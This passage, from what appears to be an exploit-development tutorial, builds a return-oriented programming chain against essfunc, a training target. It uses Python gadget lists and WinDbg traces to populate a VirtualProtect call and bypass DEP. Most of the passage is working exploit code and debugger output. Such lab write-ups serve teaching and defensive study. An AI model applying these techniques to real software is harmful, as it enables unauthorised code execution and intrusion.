0:004&amp;gt; dd esp L1
0103fa18  62501d08
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As clearly displayed, at the time of executing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction, the address on top of the stack points to next instruction in the gadget chain, therefore demonstrating that usually discarded gadget was repurposed into something useful.&lt;/p&gt;

&lt;h4 id=&quot;quick-detour&quot;&gt;Quick Detour&lt;/h4&gt;

&lt;p&gt;Before delving deeper into overriding the first placeholder of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton with the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; stub, we need to address an issue. The beginning of the gadget indicates that for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov [ebx], eax instruction&lt;/code&gt; to execute, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; must possess the pointer pointing to the start of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton. Currently, only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; have this pointer. As highlighted earlier, the initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; pointer was stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; would act as a scratch register. This situation now becomes pivotal.&lt;/p&gt;

&lt;p&gt;We can identify several gadgets to transfer the value from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX/ECX&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt;, with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r32&lt;/code&gt; representing either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov ebx, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;push r32
pop ebx
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xchg r32, ebx / xchg ebx, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xor ebx, ebx / sub ebx, ebx
add ebx, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xor ebx, ebx / sub ebx, ebx
or ebx, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov ebx, 0xFFFFFFFF
and ebx, r32
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But we face a challenge. What’s intriguing about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chains are the unexpected outcomes some gadgets yield. Here’s an illustrative example:&lt;/p&gt;

&lt;p&gt;A unique gadget found appears unproductive initially but is crucial:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x62501a9d: mov  [esp+0x00], eax ; call  [0x62507124]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s breakdown the gadget to better understand what it does:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov  [esp+0x00], eax&lt;/code&gt; - Overwrites the top of the stack with the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call  [0x62507124]&lt;/code&gt;   - Makes a call to the address in which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62507124&lt;/code&gt; is pointing to.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While individually they might seem unimpressive, their combined effect in the gadget is potent.&lt;/p&gt;

&lt;p&gt;To grasp its function, we’ll navigate through a debugger using a specified sequence of gadgets. Here’s how the sequence of gadget currently appears:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 0. preserve location of VirtualProtect skeleton in ECX
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625021ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for ebx
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for esi
###
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501a9d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [esp+0x00], eax ; call  [0x62507124]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk will be overwritten by [esp + 0x00]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501d08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ! int3 (breakpoint instruction) 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The breakpoint will be specifically set on the instruction located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62501a9d&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 0 hit
...
essfunc!EssentialFunc14+0x4d3:
62501a9d 890424   mov dword ptr [esp],eax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the current moment &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; points to the start of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x011ff228&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Stepping over the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov dword ptr [esp],eax&lt;/code&gt; instruction shows that the value on top of the stack is now &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x011ff228&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; dd esp L1
010efa14  010ef228
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next instruction is the one which will make the call to the pointer:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62501aa0 ff1524715062   call dword ptr [essfunc!EssentialFunc14+0x5b5a (62507124)]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s step into the call and observe the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; dds esp L3
010efa10  62501aa6  // return address pushed via the call instruction
010efa14  011ff228  // EAX (pointer to VirtualProtect skeleton)
010efa18  62501d08  // address of next gadget in chain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So in order to get the value on the stack into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; and return to the next gadget in the chain, we need to find a gadget which does the following:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pop r32
pop ebx
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Luckily, there is a gadget that makes this possible:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x625014e1: pop ebx ; pop ebx ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This means we can modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62507124&lt;/code&gt; pointer to hold the address to the gadget above. The sequence of these gadgets should be placed after those that initially modified the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x625070DC&lt;/code&gt; pointer, constructing our gadget chain:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 0. preserve location of VirtualProtect skeleton in ECX
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625021ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for ebx
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for esi
# ECX now holds pointer to VirtualProtect skeleton
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1. override 0x625070DC to hold address of pop r32 ; ret gadget
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625070DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx will be 0x625070DC 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebp; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 2. override 0x62507124 to hold address of pop r32 ; pop ebx ; ret gadget
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62507124&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx will be 0x62507124 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014e1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# address of pop ebx ; pop ebx ; ret
# EAX now holds address of pop ebx ; pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However there is a slight problem, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; gets mangled throughout these sequence of gadgets hence why we persisted the original value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt;. Thus we can use the following gadget to restore &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; to its original value:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6250219d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov eax, ecx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501a9d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [esp+0x00], eax ; call  [0x62507124]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk will be overwritten by [esp + 0x00]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501d08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ! int3 (breakpoint instruction) 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s set a breakpoint at the address of the instruction which restores &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x6250219d&lt;/code&gt; and step through-it once again.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 0 hit
essfunc!EssentialFunc14+0xbd3:
6250219d 89c8   mov eax,ecx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

